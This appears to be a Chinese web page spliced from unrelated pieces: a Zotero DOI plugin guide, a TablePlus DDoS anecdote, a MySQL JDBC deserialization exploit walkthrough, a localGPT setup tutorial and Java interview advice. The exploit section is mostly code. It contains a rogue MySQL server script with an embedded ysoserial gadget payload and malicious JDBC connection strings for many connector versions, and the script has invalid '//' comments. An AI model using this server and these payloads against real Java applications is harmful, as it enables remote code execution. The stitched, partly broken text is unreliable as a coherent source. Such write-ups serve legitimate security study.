2024年3月

一、项目信息与下载安装

https://github.com/bwiernik/zotero-shortdoi

根据readme,下载并安装即可。可能访问会失败,多试几次,总是能够成功的。

本博客编写时,基于DOI Manager版本
v1.4.2

二、插件功能

  1. 获取shortDOI(Get shortDOIs):对于选中条目,查找
    shortDOI
    ,如果找到,则替换DOI,如果没有找到,则打上标签”⛔ No DOI found“。
  2. 获取长DOI(Get long DOIs):对于选中条目,查找完整的DOI,如果找到,则替换DOI,如果没有找到,则打上标签”⛔ No DOI found“。
  3. 验证和清理DOI(Verify and clean DOIs):对于所选项目,对于选中条目,如果不存在DOI,则查找完整的DOI,并且验证DOI是否有效,如果无效则标记无效的DOI。如果已经存在DOI,则验证该DOI的有效性。这个功能还会删除DOI中不必要的前缀,例如前缀
    https://doi.org/。

功能截图如下所示:

三、功能说明

通过从网络上下载文件,然后拖拽加入Zotero一般都是没有元数据的,如下图右侧部分的信息。所以对于这种方式添加入管理的文档,中文则需要先通过
茉莉花
的知网助手,获取元数据信息。很多插件是依赖元数据信息进行使用的,所以还是需要优先更新。

获取shortDOI(Get shortDOIs)

获取长DOI(Get long DOIs)
获取DOI并更新条目元数据的DOI信息。

长DOI长这样:10.19339/j.issn.1674-2583.2023.05.139
短DOI长这样:10/gtpn98

这个插件对中文的支持感觉不是很好,要是中文元数据中不存在DOI,或者人为的删除DOI信息,似乎无法通过这个插件获取DOI。

最近,一场激烈的攻防大战在网络世界悄然上演。

主角不是什么国家安全局或者黑客组织,而是一家名不见经传的创业公司——
TablePlus

DDoS 攻击者们摩拳擦掌,跃跃欲试。他们从四面八方蜂拥而至,誓要用数亿次请求把 TablePlus 的服务器挤爆、搞垮。
特别是那些来自德国和英国的流量
,简直有如滔滔洪水,一泻千里。短短5天内,他们就发起了 8000 多万次下载请求,妄图耗尽 TablePlus 的带宽和计算资源。

面对这场声势浩大的入侵,TablePlus 的小伙伴们该怎么办?他们会惊慌失措,向 Cloudflare 求救吗?会忙着屏蔽 IP,关闭服务吗?

答案竟然是:
啥也不干,该吃吃该喝喝
,好似根本没发生什么大事儿。要不是 CPU 偶尔从 0%蹦到 1%,服务器都要怀疑自己是不是患上了 “分离性身份识别障碍”。TablePlus 家的服务器个个身经百战,这点小打小闹根本不放在眼里。

这帮子大胆的家伙,究竟是从哪儿来的底气?

这种淡定,源自 TablePlus 在架构设计上的独特选择——单体应用。与当下流行的微服务架构不同,TablePlus 选择将所有功能集中在一个服务中,包括 API、网站前端、支付等等。这种 “大一统” 的架构虽然看似简单,但却有着不可小觑的优势。

别人为微服务、容器、编排操碎了心,TablePlus 只需一个二进制文件,拿来就上。

为了最大化单体应用的性能,TablePlus 在技术选型上颇下了一番功夫。他们
选择了 Golang 和 Rust 这两种高性能语言作为主要开发工具
。凭借着这两门语言出色的并发处理能力和内存管理机制,单个 TablePlus 服务就能轻松应对数十亿的请求。

但光有优秀的语言还不够,TablePlus 在软件工程的各个方面也精益求精,力求将单体服务的性能发挥到极致。

他们会对关键数据库建立索引,提升查询效率;

对核心数据库和非核心数据 (如日志) 进行分离存储,确保主要业务不受影响;

使用 Nginx 作为反向代理,灵活调度和分发请求;

借助 Cloudflare 提供的 CDN、SSL 等功能,进一步提升性能和安全性。

精心打造的单体服务,再加上优化到位的部署环境,让 TablePlus 拥有了一套简洁而高效的架构。在高并发场景下,这套架构展现出了惊人的性能,即便面对 DDoS 攻击也从容不迫。

当然,
功夫再高也怕菜刀
。再厉害的服务,也得琢磨怎么用起来。在部署方面,TablePlus 同样追求简单和高效。他们充分利用了 Golang 和 Rust 的特性,将服务
编译成单个二进制文件
,然后直接在 Linux 服务器上运行。这种 “无依赖” 的部署方式,不仅简化了运维工作,也最大限度地发挥了服务器的性能。

TablePlus 的工程师们还利用 Linux 的 Systemctl 来管理服务进程,实现了自动重启、监控等功能,进一步提高了系统的可靠性。相比动辄上百个微服务的复杂架构,TablePlus 的部署可谓简单到了极致。

就这样,TablePlus 凭借精心设计的单体应用架构和极简部署,将系统性能和效率提升到了一个新的高度。面对 DDoS 攻击,他们从容应对,展现出了架构设计的威力。

什么容器、VM、编排,在 TablePlus 面前都成了花拳绣腿,不值一提。

有了单体应用真经护体,TablePlus 在 DDoS 攻击面前自若从容。数亿请求来了,系统服务扛得住;流量再猛,Cloudflare 顶得住;就算攻击再升级,单体架构依然屹立不倒。

这个故事告诉我们,任何事物都有它的两面性。
单体应用看似简陋,但在特定场景下也能一展其威风
。键是要根据自身业务特点,因地制宜,扬长避短,就像 TablePlus 这般,知己知彼,百战不殆。

在这个讲究 “敏捷”、“弹性” 的年代,TablePlus 的 “单刀赴会” 无疑有些悲壮。但他们用自己的实际行动告诉世人:
做好架构,管它单体还是微服务;强调性能,其他都是浮云

这个故事也提醒我们,技术从来就不是非黑即白的。
评判一项技术的好坏,不能脱离具体的应用场景
。适合自己的,才是最好的。保持开放和创新的心态,拥抱变化,我们才能在瞬息万变的技术浪潮中,找准自己的定位。

微服务固然潮流,但单体应用也自有其存在的理由。关键是找准定位,扬长避短,让优势最大化。

就像 TablePlus 这样,当别人还在追逐时髦时,他们已经悄悄登上了性能的巅峰。这种 “逆势而为” 的勇气和智慧,值得我们每个人思考和学习。

环境依赖

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

原理分析

Java序列化对象的标识符

找两个序列化后的bin文件,进行对比,可以发现前两个字节是固定的
AC
,
ED
,变十进制就是
-84
,
-19

记住这两个数,后面分析的时候会用到

readObject

触发点在
com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

可以看到在触发readObject之前还对data的前两个字节进行了比较来判断是不是序列化对象,-84,-19,这里就派上用处了。
接下来就是正常的找链环节了,找哪里调用了
getObject
,找到
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()

跟进
resultSetToMap
,到此链子就结束了,有点小短(

现在的问题是找rs,toPopulate,上面可以看到
rs = stmt.executeQuery("SHOW SESSION STATUS");
,rs其实是这个sql语句的返回值,如果我们能控制一个恶意mysql服务端,岂不是就能控制这条sql语句的返回值了,这样rs也就能控制了,这样就能反序列化了。
注意getObject这里有个if判断,这个
autoDeserialize
的value值得是true,才能进入

Mysql认证报文分析

写一个JDBC client

package org.example;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Deiver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL, "root", "root");
    }
}

用Wireshark抓下本地包,过滤条件
tcp.port==3306

可以看到Mysql也是有一套认证系统的,看一个Response OK的

Mysql Protocol认证报文为
0700000300000002000000
,也就是说我们恶意服务端只需要返回该数据给Request即可完成认证。再看看问候报文

发送原始数据,恶意服务端将这部分修改为恶意payload,可以反序列化

ServerStatusDiffInterceptor链

8.0.7-8.0.20

先准备一个恶意Mysql服务端

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000300000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e36666666c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f66666605f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4166666644f5f4352454154455f666666345522c4e4f5f454e47494e455f535542535449546666664494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                //获取payload
                payload_content=get_payload_content()
                //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441546666663272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()
package org.example;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

成功弹出计算器

调试分析一波,getConnection处打个断点,跟进

进入另一个getConnection,跟进

进入connect

进入getInstance

进入ConnectionImpl,到这里就有版本上的不同了,往下走

首先进入
initializeSafeQueryInterceptors
,初始化请求监听器,然后进入createNewIO

进行跟进connectOneTryOnly

进入initializePropsFromServer

跟进handleAutoCommitDefaults

调用setAutoCommit

调用execSQL,至此进入主要逻辑

调用sendQueryString,进入之后又调用了sendQueryPacket,发送数据包

调用
invokeQueryInterceptorsPre

调用preProcess

populateMapWithSessionStatusValues
是不是很熟悉,跟进,跟之前分析readObject一样的操作,rs就是恶意mysql服务端返回的数据

5.1.0-5.1.10

这个版本都找不到,直接放payload了

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

5.1.11-5.1.xx

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

注意这里要是用我上面给的恶意服务器,username就不要填值,要是是github上的那种恶意mysql,就按它的要求填username,对应调用的payload

6.x

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

8.20以后

GG,不调用getObject了

detectCustomCollations链

6.0.2-6.0.6

package org.example;
import java.sql.*;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Connection conn=null;
        String url = "jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
        String username = "yso_CommonsCollections7_calc";
        String password = "";
        Class.forName("com.mysql.jdbc.Driver");
        conn = DriverManager.getConnection(url, username, password);
    }
}

这里username有讲究,用到了一个开源工具fake_mysql:
https://github.com/fnmsd/MySQL_Fake_Server
需要注意的有2点,python版本低于3.8,然后config.json里面的路径中的反斜杠用2个,这样就不会报错,成功弹出计算器

同样下断点进行调试,前面的部分基本一样,一直走到
initializePropsFromServer

进入buildCollationMapping

到这结束,进入resultSetToMap同样调用到了getObject反序列化,results也是恶意mysql返回的数据

8.xx

在buildCollationMapping中不再调用
ResultSetUtil.resultSetToMap

5.1.49

同8.xx

5.1.41-5.1.48

有点答辩,恶意mysql的返回数据居然头不对劲了,难崩得改下server.py
147行改成
ResultSet(("11",content,content)).write(server_writer)

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
String username = "yso_CommonsCollections7_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.29-5.1.40

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
String username = "yso_CommonsCollections7_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.19-5.1.28

String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections7_calc";
String username = "yso_CommonsCollections7_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.19以下

不调用resultSeToMap,G

通过部署llama2系列,可以构建本地私有的知识小助手

用来输出一写周报、月报,甚至辅助数据分析都可以(想想都很轻松)

想要大模型支持特定的数据集,就需要进行专业的fine-turing

但是fine-turing工作,是需要一系列的数据工程,向量化等工作,不太便捷

PromtEngineer/localGPT
把这些工作就包装好了,我们可以直接部署使用,甚至也可以跟本地的UI工具做一个集成

localGPT

https://github.com/PromtEngineer/localGPT

localGPT支持很多种本地环境部署方式cuda、cpu等(没有NVIDIA也能跑)

大致工作原理,localGPT会先通过对本地的文件进行“向量”等处理(ingetst.py),会放到本地的一个向量数据库中(sqlite DB)

然后通过运行run_localGPT.py启动fine-turing过程

部署需要python3.0环境

conda create -n localGPT python=3.10.0

如果你本地有GPU,还需要安装一个依赖(不太好装,看你会不会遇到问题)

clone下来代码,看下目录里的constants.py文件

MODEL_ID = "TheBloke/Llama-2-7b-Chat-GGUF"
MODEL_BASENAME = "llama-2-7b-chat.Q4_K_M.gguf"

注意如果本地运行的是GPU,就要找对应GPU版本的模型

拉取llama2 模型

(如果第一次使用 )先在huggingface 注册自己的token,用来拉取模型使用(
https://huggingface.co/settings/tokens
)

然后安装 huggingface-hub(重点:注意在windows shell工具登录的时候,不要用键盘复制粘贴,一定要用鼠标右键paste)

pip3 install huggingface-hub>=0.17.1

模型提供了很多变体,可以用来在不同的环境下使用

https://huggingface.co/TheBloke/Llama-2-7B-Chat-GGUF

https://huggingface.co/TheBloke/Llama-2-7B-Chat-GGUF/tree/main

如果是第一次下载模型会需要点时间,大概5G左右

第一次使用还需要在模型首页完成申请授权

demo工作报告

由于localGPT是基于本地文档进行模型微调的,所以我们需要将数据放入文档中SOURCE_DOCUMENTS目录(这个工作也可以自动化)

假设模拟一家餐厅的每天的数据,然后形成日报信息,每天灌给他

然后输出一周的周报(我们用GPT模拟生成)

将文档放到SOURCE_DOCUMENTS目录下

然后运行 ingest.py 脚本,记得--device_type参数要根据自己的机器情况选择(我本地是NVIDIA卡)

python ingest.py --device_type cuda

会输出如下信息

 python ingest.py --device_type cuda
2024-03-31 14:07:29,899 - INFO - ingest.py:147 - Loading documents from D:\localGPT-main\localGPT-main/SOURCE_DOCUMENTS
Importing: ABC餐厅本周数据.pdf
D:\localGPT-main\localGPT-main/SOURCE_DOCUMENTS\ABC餐厅本周数据.pdf loaded.

2024-03-31 14:07:38,279 - INFO - ingest.py:156 - Loaded 1 documents from D:\localGPT-main\localGPT-main/SOURCE_DOCUMENTS
2024-03-31 14:07:38,284 - INFO - ingest.py:157 - Split into 2 chunks of text
2024-03-31 14:07:39,104 - INFO - SentenceTransformer.py:66 - Load pretrained SentenceTransformer: hkunlp/instructor-large
load INSTRUCTOR_Transformer
max_seq_length  512
2024-03-31 14:07:40,384 - INFO - ingest.py:168 - Loaded embeddings from hkunlp/instructor-large

可以大致看到一些有用的信息,SentenceTransformer是一个强大的微调框架(
https://www.sbert.net/

https://huggingface.co/hkunlp/instructor-large
)等

ingest顺利完成之后,当前的文本就已经形成向量进入到向量DB中了

我们开始进行正式微调程序

python run_localGPT.py --device_type cuda

(如果你本地报错ValueError: check_hostname requires server_hostname,记得关闭kx上网)

看到
“Enter a query:”
应该是顺利成功了

我们问下
”3月27日 3月28日 3月29日 3月30 3月31日 销售额分别多少“

看上去没啥问题(llama是英文的,如果需要跟本地工具集合,接一些翻译库就行了)

这个只是一个demo,如果要系统严谨的输出,还是需要在数据格式、数据组织、prompt工程上好好打磨的

关注微信公众号|收获更多干货

程序员/后端开发方向Java 跳槽注意事项(简历和面试经验分享)
应届生面试经验参考:
https://www.cnblogs.com/rainbow-1/p/16779048.html
简历:

1、个人感觉还是要写真话,包装的内容要有一定的基础,问起来能够对答几个回合。

2、基本信息最好直接写年龄,而不是出生年月。跳槽简历最好标明当前所在地和意向地,当前薪资和意向薪资,写明大概多久可以入职。

3、个人综述放在前面显眼的位置,写明自己最大的优势有哪些。

4、工作/项目经历可以合在一起,写明项目技术栈,自己负责的主要任务,着重举例强调自己在哪些工作细节上发挥了作用,可以简要地写一下这份工作带给自己的收获有哪些。

5、教育和证书资质等写在一起,证书可以写上编号。

6、技术栈一定要写自己熟悉的,哪怕是包装的内容也要能说个一二三出来,需要标明程度(了解,熟悉,掌握,熟练,精通)这将直接决定面试官问到什么程度。

7、如果git上有开源项目,可以简单写写,把访问链接挂上。

8、爱好等其他补充内容简单写写。

面试:

根据我面试的经历做以下总结,大家取舍参考。

首先面试官问的问题基本是按简历来的,所以简历上别给自己挖坑。应届面试(无工作经历),一般问起来知识(八股文)> 实践,如果是跳槽的面试,我个人感觉问项目比问知识层面的东西要多一些,所以面试前一定要好好理一理自己的工作,有哪些亮点可以讲给面试官听,最好能够结合理论知识来讲,比如用哪种设计模式实际解决了工作中的哪个实际场景,取得了怎样的效果。面试过程中最好多数对话不要让自己太被动,如果遇到知识盲区,或者是很难回答的问题,可以直白说自己不是很清楚,但是可以按自己的理解大概说一下,不要一句不会就结束了,这样会越来越被动。

后面分享一下个人感觉比较常问的问题(非大厂Java)

1、线程池的几个核心参数都有什么含义,举一个实际用过的场景。怎么确认核心线程池的核心线程参数大小?线程池处理任务的流程。

Runtime.getRuntime().availableProcessors(); 可以获取当前系统可用的处理器数量。

确定核心线程参数有两个判断依据:

一、CPU密集型任务

对于 CPU 密集型,多线程本质上是提升多核 CPU 的利用率,所以对于一个 8核CPU,每个核一个线程,理论上创建 8 个线程就够了。如果设置过多的线程数,实际上并不会起到很好的效果。此时假设我们设置的线程数量是 CPU 核心数的 2 倍,因为计算任务非常重,会占用大量的 CPU 资源,所以这时 CPU 的每个核心工作基本都是满负荷的,而我们又设置了过多的线程,每个线程都想去利用 CPU 资源来执行自己的任务,这就会造成不必要的上下文切换,此时线程数的增多并没有让性能提升,反而由于线程数量过多会导致性能下降。因此,对于 CPU 密集型的计算场景,理论上
线程的数量 = CPU 核数
就是最合适的,不过通常把线程的数量设置为
CPU 核数 +1
,会实现最优的利用率。

二、IO密集型任务

IO 密集型任务最大线程数一般会大于 CPU 核心数很多倍,因为 IO 读写速度相比于 CPU 的速度而言是比较慢的,如果设置过少的线程数就导致 CPU 资源的浪费。而如果设置更多的线程数,那么当一部分线程正在等待 IO 的时候,它们此时并不需要 CPU 计算,另外的线程便可以利用 CPU 去执行其他的任务,互不影响,这样的话在任务队列中等待的任务就会减少,可以更好地利用资源。

线程池处理任务的流程:

2、AOP是什么,什么场景可以用(切点和连接点),举例说明。

3、GC垃圾回收常见的几个算法。怎么判断某个对象就已经是垃圾了。



4、kafka怎么保证消息有序性。


5、Java虚拟机栈是做什么的。